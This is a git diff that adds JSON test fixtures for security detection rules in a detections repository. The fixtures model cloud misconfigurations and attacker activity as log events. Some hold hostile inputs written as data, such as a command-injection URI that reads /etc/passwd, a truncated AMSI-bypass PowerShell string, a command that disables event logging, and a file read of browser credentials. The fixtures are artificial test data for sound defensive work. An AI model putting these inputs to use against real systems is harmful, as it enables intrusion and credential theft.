/dev/null+++ b/detections/fixtures/negative/xss-attempt.json@@ -0,0 +1,4 @@+{+ "host": "store.corp.com",+ "request_uri": "/search?q=hello"+}diff --git a/detections/fixtures/positive/account-creation-by-non-admin.json b/detections/fixtures/positive/account-creation-by-non-admin.jsonnew file mode 100644index 000000000..984e440bf--- /dev/null+++ b/detections/fixtures/positive/account-creation-by-non-admin.json@@ -0,0 +1,5 @@+{+ "actor": "[email protected]",+ "actor_role": "engineer",+ "event_type": "user.lifecycle.create"+}diff --git a/detections/fixtures/positive/account-enable-after-disable.json b/detections/fixtures/positive/account-enable-after-disable.jsonnew file mode 100644index 000000000..3011e5f10--- /dev/null+++ b/detections/fixtures/positive/account-enable-after-disable.json@@ -0,0 +1,5 @@+{+ "event_type": "user.lifecycle.activate",+ "previous_state": "DISABLED",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/ad-replication-non-dc.json b/detections/fixtures/positive/ad-replication-non-dc.jsonnew file mode 100644index 000000000..462b4f5ae--- /dev/null+++ b/detections/fixtures/positive/ad-replication-non-dc.json@@ -0,0 +1,6 @@+{+ "event_id": 4662,+ "operation_type": "DS-Replication-Get-Changes-All",+ "source_role": "workstation",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/admin-account-deletion.json b/detections/fixtures/positive/admin-account-deletion.jsonnew file mode 100644index 000000000..59642cd0c--- /dev/null+++ b/detections/fixtures/positive/admin-account-deletion.json@@ -0,0 +1,5 @@+{+ "event_type": "user.lifecycle.deactivate",+ "target_user": "[email protected]",+ "target_user_role": "admin"+}diff --git a/detections/fixtures/positive/amsi-bypass.json b/detections/fixtures/positive/amsi-bypass.jsonnew file mode 100644index 000000000..5d1244859--- /dev/null+++ b/detections/fixtures/positive/amsi-bypass.json@@ -0,0 +1,5 @@+{+ "command_line": "powershell.exe -c \"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')...\"",+ "host": "wks-001",+ "image_basename": "powershell.exe"+}diff --git a/detections/fixtures/positive/api-key-leak-in-request.json b/detections/fixtures/positive/api-key-leak-in-request.jsonnew file mode 100644index 000000000..ff0137f89--- /dev/null+++ b/detections/fixtures/positive/api-key-leak-in-request.json@@ -0,0 +1,4 @@+{+ "host": "internal.corp.com",+ "request_body": "{\"key\":\"AKIAIOSFODNN7EXAMPLE\"}"+}diff --git a/detections/fixtures/positive/api-mass-enumeration-ids.json b/detections/fixtures/positive/api-mass-enumeration-ids.jsonnew file mode 100644index 000000000..51adb7ee7--- /dev/null+++ b/detections/fixtures/positive/api-mass-enumeration-ids.json@@ -0,0 +1,5 @@+{+ "distinct_object_ids_per_src": 5000,+ "src_ip": "203.0.113.7",+ "time_window_minutes": 3+}diff --git a/detections/fixtures/positive/api-permission-bypass-idor.json b/detections/fixtures/positive/api-permission-bypass-idor.jsonnew file mode 100644index 000000000..a20e4431d--- /dev/null+++ b/detections/fixtures/positive/api-permission-bypass-idor.json@@ -0,0 +1,6 @@+{+ "caller_tenant_id": "tenant-B",+ "event_type": "object.read",+ "object_tenant_id": "tenant-A",+ "object_tenant_id_eq_caller_tenant_id": false+}diff --git a/detections/fixtures/positive/app-token-broad-default.json b/detections/fixtures/positive/app-token-broad-default.jsonnew file mode 100644index 000000000..085ef22f8--- /dev/null+++ b/detections/fixtures/positive/app-token-broad-default.json@@ -0,0 +1,5 @@+{+ "action": "integration_installation.create",+ "app": "thirdparty-bot",+ "permission_administration": "write"+}diff --git a/detections/fixtures/positive/archive-then-egress.json b/detections/fixtures/positive/archive-then-egress.jsonnew file mode 100644index 000000000..74307f7c2--- /dev/null+++ b/detections/fixtures/positive/archive-then-egress.json@@ -0,0 +1,5 @@+{+ "archive_seen_within_minutes": 8,+ "egress_bytes": 500000000,+ "host": "wks-001"+}diff --git a/detections/fixtures/positive/asreproasting.json b/detections/fixtures/positive/asreproasting.jsonnew file mode 100644index 000000000..878cf22ee--- /dev/null+++ b/detections/fixtures/positive/asreproasting.json@@ -0,0 +1,5 @@+{+ "event_id": 4768,+ "preauth_required": false,+ "user": "service-legacy"+}diff --git a/detections/fixtures/positive/aws-cloudtrail-disabled.json b/detections/fixtures/positive/aws-cloudtrail-disabled.jsonnew file mode 100644index 000000000..dcd6f458f--- /dev/null+++ b/detections/fixtures/positive/aws-cloudtrail-disabled.json@@ -0,0 +1,5 @@+{+ "event_name": "StopLogging",+ "trail_name": "org-default",+ "user_arn": "arn:aws:iam::111:user/contractor"+}diff --git a/detections/fixtures/positive/aws-cross-account-assumerole.json b/detections/fixtures/positive/aws-cross-account-assumerole.jsonnew file mode 100644index 000000000..e540b4406--- /dev/null+++ b/detections/fixtures/positive/aws-cross-account-assumerole.json@@ -0,0 +1,6 @@+{+ "event_name": "AssumeRole",+ "external_account_in_allowlist": false,+ "user_arn": "arn:aws:sts::999999999999:assumed-role/external",+ "user_arn_external_account": true+}diff --git a/detections/fixtures/positive/aws-ebs-snapshot-public.json b/detections/fixtures/positive/aws-ebs-snapshot-public.jsonnew file mode 100644index 000000000..9e17ad3ba--- /dev/null+++ b/detections/fixtures/positive/aws-ebs-snapshot-public.json@@ -0,0 +1,5 @@+{+ "createvolumepermission": "all",+ "event_name": "ModifySnapshotAttribute",+ "snapshot_id": "snap-prod-pii"+}diff --git a/detections/fixtures/positive/aws-ec2-launch-foreign-region.json b/detections/fixtures/positive/aws-ec2-launch-foreign-region.jsonnew file mode 100644index 000000000..dc523a253--- /dev/null+++ b/detections/fixtures/positive/aws-ec2-launch-foreign-region.json@@ -0,0 +1,4 @@+{+ "aws_region": "ap-northeast-3",+ "event_name": "RunInstances"+}diff --git a/detections/fixtures/positive/aws-iam-enumeration.json b/detections/fixtures/positive/aws-iam-enumeration.jsonnew file mode 100644index 000000000..57f964a17--- /dev/null+++ b/detections/fixtures/positive/aws-iam-enumeration.json@@ -0,0 +1,6 @@+{+ "event_name_count": 60,+ "event_source": "iam.amazonaws.com",+ "time_window_minutes": 3,+ "user_arn": "arn:aws:iam::111:user/contractor"+}diff --git a/detections/fixtures/positive/aws-iam-policy-permissive.json b/detections/fixtures/positive/aws-iam-policy-permissive.jsonnew file mode 100644index 000000000..42857cc5f--- /dev/null+++ b/detections/fixtures/positive/aws-iam-policy-permissive.json@@ -0,0 +1,6 @@+{+ "event_name": "PutRolePolicy",+ "policy_action": "*",+ "policy_resource": "*",+ "role": "deploy-bot"+}diff --git a/detections/fixtures/positive/aws-kms-key-disable.json b/detections/fixtures/positive/aws-kms-key-disable.jsonnew file mode 100644index 000000000..fbadd9288--- /dev/null+++ b/detections/fixtures/positive/aws-kms-key-disable.json@@ -0,0 +1,5 @@+{+ "event_name": "ScheduleKeyDeletion",+ "key_id": "alias/prod-encrypt",+ "user_arn": "arn:aws:iam::111:user/intern"+}diff --git a/detections/fixtures/positive/aws-lambda-permissive-trigger.json b/detections/fixtures/positive/aws-lambda-permissive-trigger.jsonnew file mode 100644index 000000000..9d505fe12--- /dev/null+++ b/detections/fixtures/positive/aws-lambda-permissive-trigger.json@@ -0,0 +1,5 @@+{+ "event_name": "AddPermission",+ "function": "process-customer-pii",+ "principal": "*"+}diff --git a/detections/fixtures/positive/aws-rds-publicly-accessible.json b/detections/fixtures/positive/aws-rds-publicly-accessible.jsonnew file mode 100644index 000000000..0ab3542eb--- /dev/null+++ b/detections/fixtures/positive/aws-rds-publicly-accessible.json@@ -0,0 +1,5 @@+{+ "db_id": "prod-pii",+ "event_name": "ModifyDBInstance",+ "publicly_accessible": true+}diff --git a/detections/fixtures/positive/aws-root-account-login.json b/detections/fixtures/positive/aws-root-account-login.jsonnew file mode 100644index 000000000..07e859eb1--- /dev/null+++ b/detections/fixtures/positive/aws-root-account-login.json@@ -0,0 +1,6 @@+{+ "error_code": null,+ "event_name": "ConsoleLogin",+ "src_ip": "203.0.113.7",+ "user_type": "Root"+}diff --git a/detections/fixtures/positive/aws-s3-bucket-deletion.json b/detections/fixtures/positive/aws-s3-bucket-deletion.jsonnew file mode 100644index 000000000..ad845c0b4--- /dev/null+++ b/detections/fixtures/positive/aws-s3-bucket-deletion.json@@ -0,0 +1,5 @@+{+ "bucket": "prod-backups",+ "event_name": "DeleteBucket",+ "user_arn": "arn:aws:iam::111:user/contractor"+}diff --git a/detections/fixtures/positive/aws-s3-mass-getobject.json b/detections/fixtures/positive/aws-s3-mass-getobject.jsonnew file mode 100644index 000000000..6a7fa0c9e--- /dev/null+++ b/detections/fixtures/positive/aws-s3-mass-getobject.json@@ -0,0 +1,6 @@+{+ "event_name": "GetObject",+ "object_count_per_principal": 12000,+ "time_window_minutes": 12,+ "user_arn": "arn:aws:iam::111:user/intern"+}diff --git a/detections/fixtures/positive/aws-s3-public-bucket.json b/detections/fixtures/positive/aws-s3-public-bucket.jsonnew file mode 100644index 000000000..523625d09--- /dev/null+++ b/detections/fixtures/positive/aws-s3-public-bucket.json@@ -0,0 +1,5 @@+{+ "bucket": "customer-pii",+ "event_name": "PutBucketAcl",+ "public_grant": true+}diff --git a/detections/fixtures/positive/aws-security-group-open-world.json b/detections/fixtures/positive/aws-security-group-open-world.jsonnew file mode 100644index 000000000..4de7b0e28--- /dev/null+++ b/detections/fixtures/positive/aws-security-group-open-world.json@@ -0,0 +1,6 @@+{+ "event_name": "AuthorizeSecurityGroupIngress",+ "ip_range": "0.0.0.0/0",+ "port": 22,+ "sg_id": "sg-prod-db"+}diff --git a/detections/fixtures/positive/aws-vpc-flow-logs-disabled.json b/detections/fixtures/positive/aws-vpc-flow-logs-disabled.jsonnew file mode 100644index 000000000..a755b1b01--- /dev/null+++ b/detections/fixtures/positive/aws-vpc-flow-logs-disabled.json@@ -0,0 +1,4 @@+{+ "event_name": "DeleteFlowLogs",+ "vpc_id": "vpc-prod"+}diff --git a/detections/fixtures/positive/azure-ad-app-secret-added.json b/detections/fixtures/positive/azure-ad-app-secret-added.jsonnew file mode 100644index 000000000..cd067e999--- /dev/null+++ b/detections/fixtures/positive/azure-ad-app-secret-added.json@@ -0,0 +1,4 @@+{+ "app_id": "graph-reader-app",+ "operation_name": "Update application - Certificates and secrets management"+}diff --git a/detections/fixtures/positive/azure-ad-mfa-disabled-for-user.json b/detections/fixtures/positive/azure-ad-mfa-disabled-for-user.jsonnew file mode 100644index 000000000..ee3d28038--- /dev/null+++ b/detections/fixtures/positive/azure-ad-mfa-disabled-for-user.json@@ -0,0 +1,4 @@+{+ "operation_name": "Disable Strong Authentication",+ "target_user": "[email protected]"+}diff --git a/detections/fixtures/positive/azure-ad-role-owner-assignment.json b/detections/fixtures/positive/azure-ad-role-owner-assignment.jsonnew file mode 100644index 000000000..9068d512e--- /dev/null+++ b/detections/fixtures/positive/azure-ad-role-owner-assignment.json@@ -0,0 +1,5 @@+{+ "operation_name": "AddMemberToRole",+ "role_name": "Global Administrator",+ "target_user": "[email protected]"+}diff --git a/detections/fixtures/positive/azure-app-registration-permissive-scope.json b/detections/fixtures/positive/azure-app-registration-permissive-scope.jsonnew file mode 100644index 000000000..5ab68c8a0--- /dev/null+++ b/detections/fixtures/positive/azure-app-registration-permissive-scope.json@@ -0,0 +1,5 @@+{+ "app": "thirdparty-import",+ "operation_name": "Add app role assignment to service principal",+ "scope": "Directory.ReadWrite.All"+}diff --git a/detections/fixtures/positive/azure-conditional-access-disabled.json b/detections/fixtures/positive/azure-conditional-access-disabled.jsonnew file mode 100644index 000000000..18c9ab731--- /dev/null+++ b/detections/fixtures/positive/azure-conditional-access-disabled.json@@ -0,0 +1,5 @@+{+ "operation_name": "Update conditional access policy",+ "policy_name": "MFA-required",+ "policy_state": "disabled"+}diff --git a/detections/fixtures/positive/azure-keyvault-key-deleted.json b/detections/fixtures/positive/azure-keyvault-key-deleted.jsonnew file mode 100644index 000000000..5b80250d8--- /dev/null+++ b/detections/fixtures/positive/azure-keyvault-key-deleted.json@@ -0,0 +1,5 @@+{+ "key_name": "prod-encrypt",+ "operation_name": "KeyDelete",+ "principal": "[email protected]"+}diff --git a/detections/fixtures/positive/azure-login-anonymous-ip.json b/detections/fixtures/positive/azure-login-anonymous-ip.jsonnew file mode 100644index 000000000..d3da9d216--- /dev/null+++ b/detections/fixtures/positive/azure-login-anonymous-ip.json@@ -0,0 +1,5 @@+{+ "risk_event_type": "anonymizedIPAddress",+ "src_ip": "185.220.101.5",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/azure-nsg-allow-all-inbound.json b/detections/fixtures/positive/azure-nsg-allow-all-inbound.jsonnew file mode 100644index 000000000..5acee93ef--- /dev/null+++ b/detections/fixtures/positive/azure-nsg-allow-all-inbound.json@@ -0,0 +1,6 @@+{+ "nsg": "prod-db",+ "operation_name": "Microsoft.Network/networkSecurityGroups/securityRules/write",+ "rule_destination_port": 3389,+ "rule_source": "*"+}diff --git a/detections/fixtures/positive/azure-resource-mass-delete.json b/detections/fixtures/positive/azure-resource-mass-delete.jsonnew file mode 100644index 000000000..3c3fe7d3a--- /dev/null+++ b/detections/fixtures/positive/azure-resource-mass-delete.json@@ -0,0 +1,6 @@+{+ "delete_count_per_principal": 120,+ "operation_name": "Microsoft.Storage/storageAccounts/delete",+ "principal": "[email protected]",+ "time_window_minutes": 5+}diff --git a/detections/fixtures/positive/azure-storage-public-blob.json b/detections/fixtures/positive/azure-storage-public-blob.jsonnew file mode 100644index 000000000..be84c2d49--- /dev/null+++ b/detections/fixtures/positive/azure-storage-public-blob.json@@ -0,0 +1,5 @@+{+ "container": "customer-data",+ "operation_name": "Microsoft.Storage/storageAccounts/blobServices/containers/write",+ "public_access": "container"+}diff --git a/detections/fixtures/positive/backup-export-anomalous.json b/detections/fixtures/positive/backup-export-anomalous.jsonnew file mode 100644index 000000000..bdb725565--- /dev/null+++ b/detections/fixtures/positive/backup-export-anomalous.json@@ -0,0 +1,5 @@+{+ "backup_dst_in_allowlist": false,+ "destination": "external-account-999",+ "event_type": "Backup.Export"+}diff --git a/detections/fixtures/positive/browser-credential-grabber.json b/detections/fixtures/positive/browser-credential-grabber.jsonnew file mode 100644index 000000000..a959e1c88--- /dev/null+++ b/detections/fixtures/positive/browser-credential-grabber.json@@ -0,0 +1,6 @@+{+ "event_type": "FileRead",+ "file_path": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",+ "host": "wks-001",+ "image": "C:\\Users\\Public\\stealer.exe"+}diff --git a/detections/fixtures/positive/browser-extension-installed-suspicious.json b/detections/fixtures/positive/browser-extension-installed-suspicious.jsonnew file mode 100644index 000000000..31af43a06--- /dev/null+++ b/detections/fixtures/positive/browser-extension-installed-suspicious.json@@ -0,0 +1,5 @@+{+ "command_line": "chrome.exe --load-extension=C:\\Users\\Public\\evil-ext",+ "host": "wks-001",+ "image_basename": "chrome.exe"+}diff --git a/detections/fixtures/positive/brute-force-login.json b/detections/fixtures/positive/brute-force-login.jsonnew file mode 100644index 000000000..84487e16c--- /dev/null+++ b/detections/fixtures/positive/brute-force-login.json@@ -0,0 +1,7 @@+{+ "event_type": "user.session.start",+ "fail_count": 80,+ "outcome": "FAILURE",+ "time_window_minutes": 5,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/bulk-msg-export-mail.json b/detections/fixtures/positive/bulk-msg-export-mail.jsonnew file mode 100644index 000000000..d39baecaf--- /dev/null+++ b/detections/fixtures/positive/bulk-msg-export-mail.json@@ -0,0 +1,5 @@+{+ "actor": "[email protected]",+ "operation_name": "Search-Mailbox -DeleteContent:$false -TargetMailbox",+ "target": "[email protected]"+}diff --git a/detections/fixtures/positive/bulk-zip-on-fileserver.json b/detections/fixtures/positive/bulk-zip-on-fileserver.jsonnew file mode 100644index 000000000..39722e3d7--- /dev/null+++ b/detections/fixtures/positive/bulk-zip-on-fileserver.json@@ -0,0 +1,7 @@+{+ "event_type": "FileCreate",+ "file_path": "C:\\share\\bulk.zip",+ "host": "fs-01",+ "host_role": "fileserver",+ "zip_size_bytes": 2000000000+}diff --git a/detections/fixtures/positive/c2-beacon-high-frequency.json b/detections/fixtures/positive/c2-beacon-high-frequency.jsonnew file mode 100644index 000000000..ba16b0d2b--- /dev/null+++ b/detections/fixtures/positive/c2-beacon-high-frequency.json@@ -0,0 +1,7 @@+{+ "connection_count": 120,+ "destination_ip": "203.0.113.7",+ "interval_consistency": 0.95,+ "interval_seconds": 30,+ "time_window_minutes": 30+}diff --git a/detections/fixtures/positive/ca-policy-scope-broadened.json b/detections/fixtures/positive/ca-policy-scope-broadened.jsonnew file mode 100644index 000000000..b903b1aca--- /dev/null+++ b/detections/fixtures/positive/ca-policy-scope-broadened.json@@ -0,0 +1,5 @@+{+ "operation_name": "Update conditional access policy",+ "policy_change": "exclusion-added",+ "policy_name": "MFA-required"+}diff --git a/detections/fixtures/positive/ci-secret-printed-to-log.json b/detections/fixtures/positive/ci-secret-printed-to-log.jsonnew file mode 100644index 000000000..6149bfd58--- /dev/null+++ b/detections/fixtures/positive/ci-secret-printed-to-log.json@@ -0,0 +1,5 @@+{+ "actor": "[email protected]",+ "job": "deploy-prod",+ "log_line": "AWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE"+}diff --git a/detections/fixtures/positive/cloud-container-registry-public.json b/detections/fixtures/positive/cloud-container-registry-public.jsonnew file mode 100644index 000000000..a168922e1--- /dev/null+++ b/detections/fixtures/positive/cloud-container-registry-public.json@@ -0,0 +1,5 @@+{+ "event_name": "UpdateRepositoryVisibility",+ "repo": "internal-tooling",+ "visibility": "public"+}diff --git a/detections/fixtures/positive/cloud-cross-account-trust-add.json b/detections/fixtures/positive/cloud-cross-account-trust-add.jsonnew file mode 100644index 000000000..217f52dbf--- /dev/null+++ b/detections/fixtures/positive/cloud-cross-account-trust-add.json@@ -0,0 +1,6 @@+{+ "event_name": "UpdateAssumeRolePolicy",+ "external_account_in_allowlist": false,+ "role": "prod-admin",+ "trusted_principal_external_account": true+}diff --git a/detections/fixtures/positive/cloud-internet-load-balancer-no-waf.json b/detections/fixtures/positive/cloud-internet-load-balancer-no-waf.jsonnew file mode 100644index 000000000..fa86acb8e--- /dev/null+++ b/detections/fixtures/positive/cloud-internet-load-balancer-no-waf.json@@ -0,0 +1,6 @@+{+ "event_name": "CreateLoadBalancer",+ "lb": "prod-api",+ "scheme": "internet-facing",+ "waf_attached": false+}diff --git a/detections/fixtures/positive/cloud-secrets-in-env.json b/detections/fixtures/positive/cloud-secrets-in-env.jsonnew file mode 100644index 000000000..2656a4b13--- /dev/null+++ b/detections/fixtures/positive/cloud-secrets-in-env.json@@ -0,0 +1,5 @@+{+ "container": "billing-svc",+ "env_has_secret": true,+ "event_name": "DeployContainer"+}diff --git a/detections/fixtures/positive/cloud-tfstate-public.json b/detections/fixtures/positive/cloud-tfstate-public.jsonnew file mode 100644index 000000000..ada060628--- /dev/null+++ b/detections/fixtures/positive/cloud-tfstate-public.json@@ -0,0 +1,5 @@+{+ "bucket": "ops-iac",+ "bucket_visibility": "public",+ "object_path": "iac/prod/main.tfstate"+}diff --git a/detections/fixtures/positive/command-injection.json b/detections/fixtures/positive/command-injection.jsonnew file mode 100644index 000000000..191417552--- /dev/null+++ b/detections/fixtures/positive/command-injection.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_uri": "/ping?host=10.0.0.5;cat /etc/passwd"+}diff --git a/detections/fixtures/positive/container-image-pulled-untrusted-registry.json b/detections/fixtures/positive/container-image-pulled-untrusted-registry.jsonnew file mode 100644index 000000000..6aa996659--- /dev/null+++ b/detections/fixtures/positive/container-image-pulled-untrusted-registry.json@@ -0,0 +1,7 @@+{+ "image": "ghcr.io/external/payload:latest",+ "image_registry_in_allowlist": false,+ "namespace": "production",+ "object_resource": "pods",+ "verb": "create"+}diff --git a/detections/fixtures/positive/container-mass-image-export.json b/detections/fixtures/positive/container-mass-image-export.jsonnew file mode 100644index 000000000..960e5d025--- /dev/null+++ b/detections/fixtures/positive/container-mass-image-export.json@@ -0,0 +1,7 @@+{+ "dst_registry_in_allowlist": false,+ "event_type": "image.push",+ "image_count_per_principal": 12,+ "principal": "[email protected]",+ "time_window_minutes": 8+}diff --git a/detections/fixtures/positive/container-mount-host-fs.json b/detections/fixtures/positive/container-mount-host-fs.jsonnew file mode 100644index 000000000..51e388d37--- /dev/null+++ b/detections/fixtures/positive/container-mount-host-fs.json@@ -0,0 +1,7 @@+{+ "namespace": "default",+ "object_resource": "pods",+ "user": "[email protected]",+ "verb": "create",+ "volume_path": "/"+}diff --git a/detections/fixtures/positive/container-privileged-launch.json b/detections/fixtures/positive/container-privileged-launch.jsonnew file mode 100644index 000000000..bcbd65535--- /dev/null+++ b/detections/fixtures/positive/container-privileged-launch.json@@ -0,0 +1,5 @@+{+ "command_line": "docker run --privileged ubuntu:latest",+ "host": "node-01",+ "image_basename": "docker"+}diff --git a/detections/fixtures/positive/credential-dumping-lsass.json b/detections/fixtures/positive/credential-dumping-lsass.jsonnew file mode 100644index 000000000..783ee4489--- /dev/null+++ b/detections/fixtures/positive/credential-dumping-lsass.json@@ -0,0 +1,6 @@+{+ "granted_access_mask": "0x1010",+ "source_image": "C:\\Users\\Public\\dump.exe",+ "source_image_not_in_allowlist": true,+ "target_image": "C:\\Windows\\System32\\lsass.exe"+}diff --git a/detections/fixtures/positive/cronjob-suspicious-path.json b/detections/fixtures/positive/cronjob-suspicious-path.jsonnew file mode 100644index 000000000..12b6e8431--- /dev/null+++ b/detections/fixtures/positive/cronjob-suspicious-path.json@@ -0,0 +1,6 @@+{+ "command_text": "*/5 * * * * /tmp/.beacon",+ "event_type": "PATH",+ "file_path": "/etc/cron.d/update",+ "host": "linux-01"+}diff --git a/detections/fixtures/positive/csrf-on-sensitive-mutation.json b/detections/fixtures/positive/csrf-on-sensitive-mutation.jsonnew file mode 100644index 000000000..af333d802--- /dev/null+++ b/detections/fixtures/positive/csrf-on-sensitive-mutation.json@@ -0,0 +1,8 @@+{+ "host": "app.corp.com",+ "method": "POST",+ "origin_present": false,+ "referer_present": false,+ "request_uri": "/account/email",+ "request_uri_in_sensitive_paths": true+}diff --git a/detections/fixtures/positive/data-share-external-domain.json b/detections/fixtures/positive/data-share-external-domain.jsonnew file mode 100644index 000000000..5633786b0--- /dev/null+++ b/detections/fixtures/positive/data-share-external-domain.json@@ -0,0 +1,7 @@+{+ "event_type": "drive.acl.change",+ "share_target_domain": "personal-mail.tld",+ "share_target_domain_in_allowlist": false,+ "share_target_external": true,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/db-mass-row-read.json b/detections/fixtures/positive/db-mass-row-read.jsonnew file mode 100644index 000000000..6b78778dd--- /dev/null+++ b/detections/fixtures/positive/db-mass-row-read.json@@ -0,0 +1,6 @@+{+ "baseline_z_score": 6.5,+ "event_type": "SQL_SELECT",+ "rows_read_per_session": 2000000,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/ddos-syn-flood.json b/detections/fixtures/positive/ddos-syn-flood.jsonnew file mode 100644index 000000000..cefdccfc8--- /dev/null+++ b/detections/fixtures/positive/ddos-syn-flood.json@@ -0,0 +1,6 @@+{+ "dst_ip": "203.0.113.10",+ "syn_count_per_dst": 60000,+ "tcp_flag": "SYN",+ "time_window_minutes": 0.5+}diff --git a/detections/fixtures/positive/default-credential-login.json b/detections/fixtures/positive/default-credential-login.jsonnew file mode 100644index 000000000..589115540--- /dev/null+++ b/detections/fixtures/positive/default-credential-login.json@@ -0,0 +1,7 @@+{+ "event_type": "ssh-accept",+ "host": "appliance-01",+ "outcome": "SUCCESS",+ "user": "admin",+ "user_in_default_list": true+}diff --git a/detections/fixtures/positive/dependency-confusion-fetch.json b/detections/fixtures/positive/dependency-confusion-fetch.jsonnew file mode 100644index 000000000..0f31386ea--- /dev/null+++ b/detections/fixtures/positive/dependency-confusion-fetch.json@@ -0,0 +1,5 @@+{+ "package_name": "@corp-internal/util",+ "package_name_in_internal_namespace": true,+ "package_source": "public-npm"+}diff --git a/detections/fixtures/positive/deserialization-attack.json b/detections/fixtures/positive/deserialization-attack.jsonnew file mode 100644index 000000000..63a7dfe6c--- /dev/null+++ b/detections/fixtures/positive/deserialization-attack.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_body": "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=="+}diff --git a/detections/fixtures/positive/dhcp-rogue-server.json b/detections/fixtures/positive/dhcp-rogue-server.jsonnew file mode 100644index 000000000..abb6e97f0--- /dev/null+++ b/detections/fixtures/positive/dhcp-rogue-server.json@@ -0,0 +1,5 @@+{+ "event_type": "DHCP_OFFER",+ "src_mac": "aa:bb:cc:dd:ee:ff",+ "src_mac_in_allowed_dhcp": false+}diff --git a/detections/fixtures/positive/disabled-account-login-attempt.json b/detections/fixtures/positive/disabled-account-login-attempt.jsonnew file mode 100644index 000000000..9162d80e2--- /dev/null+++ b/detections/fixtures/positive/disabled-account-login-attempt.json@@ -0,0 +1,5 @@+{+ "event_type": "user.session.start",+ "user": "[email protected]",+ "user_state": "DISABLED"+}diff --git a/detections/fixtures/positive/dns-data-exfiltration.json b/detections/fixtures/positive/dns-data-exfiltration.jsonnew file mode 100644index 000000000..cfe7777cb--- /dev/null+++ b/detections/fixtures/positive/dns-data-exfiltration.json@@ -0,0 +1,7 @@+{+ "avg_subdomain_len": 65,+ "parent_domain": "evil.tld",+ "query_count": 250,+ "src_host": "wks-001",+ "time_window_minutes": 12+}diff --git a/detections/fixtures/positive/dns-fast-flux.json b/detections/fixtures/positive/dns-fast-flux.jsonnew file mode 100644index 000000000..5480c25ad--- /dev/null+++ b/detections/fixtures/positive/dns-fast-flux.json@@ -0,0 +1,6 @@+{+ "distinct_a_records": 80,+ "domain": "evil.tld",+ "time_window_hours": 0.5,+ "ttl_seconds": 30+}diff --git a/detections/fixtures/positive/dns-over-https-rare.json b/detections/fixtures/positive/dns-over-https-rare.jsonnew file mode 100644index 000000000..7229558b3--- /dev/null+++ b/detections/fixtures/positive/dns-over-https-rare.json@@ -0,0 +1,7 @@+{+ "dst_host": "evil.tld",+ "dst_in_doh_allowlist": false,+ "method": "POST",+ "src_host": "wks-001",+ "url_path": "/dns-query"+}diff --git a/detections/fixtures/positive/domain-password-policy-weakened.json b/detections/fixtures/positive/domain-password-policy-weakened.jsonnew file mode 100644index 000000000..bff137f97--- /dev/null+++ b/detections/fixtures/positive/domain-password-policy-weakened.json@@ -0,0 +1,5 @@+{+ "event_id": 4739,+ "policy_change": "complexity-disabled",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/drivers-loaded-suspicious.json b/detections/fixtures/positive/drivers-loaded-suspicious.jsonnew file mode 100644index 000000000..c6a4fbde0--- /dev/null+++ b/detections/fixtures/positive/drivers-loaded-suspicious.json@@ -0,0 +1,6 @@+{+ "driver_basename": "rentdrv2.sys",+ "driver_hash_in_byovd_list": true,+ "event_type": "DriverLoad",+ "host": "wks-001"+}diff --git a/detections/fixtures/positive/edr-unload-attempt.json b/detections/fixtures/positive/edr-unload-attempt.jsonnew file mode 100644index 000000000..b2495cd11--- /dev/null+++ b/detections/fixtures/positive/edr-unload-attempt.json@@ -0,0 +1,6 @@+{+ "actor": "[email protected]",+ "event_type": "ServiceStop",+ "host": "wks-001",+ "service_name": "WinDefend"+}diff --git a/detections/fixtures/positive/egress-spike-baseline.json b/detections/fixtures/positive/egress-spike-baseline.jsonnew file mode 100644index 000000000..d251b5141--- /dev/null+++ b/detections/fixtures/positive/egress-spike-baseline.json@@ -0,0 +1,5 @@+{+ "baseline_z_score": 7.5,+ "bytes_out_per_src": 800000000,+ "src_host": "wks-001"+}diff --git a/detections/fixtures/positive/egress-to-blocklisted-ip.json b/detections/fixtures/positive/egress-to-blocklisted-ip.jsonnew file mode 100644index 000000000..d7bed146a--- /dev/null+++ b/detections/fixtures/positive/egress-to-blocklisted-ip.json@@ -0,0 +1,5 @@+{+ "dst_in_blocklist": true,+ "dst_ip": "203.0.113.7",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/positive/egress-to-rare-asn.json b/detections/fixtures/positive/egress-to-rare-asn.jsonnew file mode 100644index 000000000..20531f752--- /dev/null+++ b/detections/fixtures/positive/egress-to-rare-asn.json@@ -0,0 +1,6 @@+{+ "dst_asn": "AS999999",+ "dst_asn_seen_count": 1,+ "src_host": "wks-001",+ "time_window_days": 90+}diff --git a/detections/fixtures/positive/encrypted-archive-attachment.json b/detections/fixtures/positive/encrypted-archive-attachment.jsonnew file mode 100644index 000000000..fac110dac--- /dev/null+++ b/detections/fixtures/positive/encrypted-archive-attachment.json@@ -0,0 +1,6 @@+{+ "attachment_encrypted": true,+ "from": "[email protected]",+ "to": "[email protected]",+ "to_external": true+}diff --git a/detections/fixtures/positive/etw-tampering.json b/detections/fixtures/positive/etw-tampering.jsonnew file mode 100644index 000000000..ae340552f--- /dev/null+++ b/detections/fixtures/positive/etw-tampering.json@@ -0,0 +1,5 @@+{+ "command_line": "wevtutil.exe sl Microsoft-Windows-PowerShell/Operational /e:false",+ "host": "wks-001",+ "image_basename": "wevtutil.exe"+}diff --git a/detections/fixtures/positive/exchange-mail-forward-external.json b/detections/fixtures/positive/exchange-mail-forward-external.jsonnew file mode 100644index 000000000..47e1df1d9--- /dev/null+++ b/detections/fixtures/positive/exchange-mail-forward-external.json@@ -0,0 +1,6 @@+{+ "forward_destination_external": true,+ "forward_to": "[email protected]",+ "operation_name": "New-InboxRule",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/expired-credential-reuse.json b/detections/fixtures/positive/expired-credential-reuse.jsonnew file mode 100644index 000000000..850d6aba9--- /dev/null+++ b/detections/fixtures/positive/expired-credential-reuse.json@@ -0,0 +1,5 @@+{+ "credential_state": "EXPIRED",+ "event_type": "user.session.start",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/federated-trust-modified.json 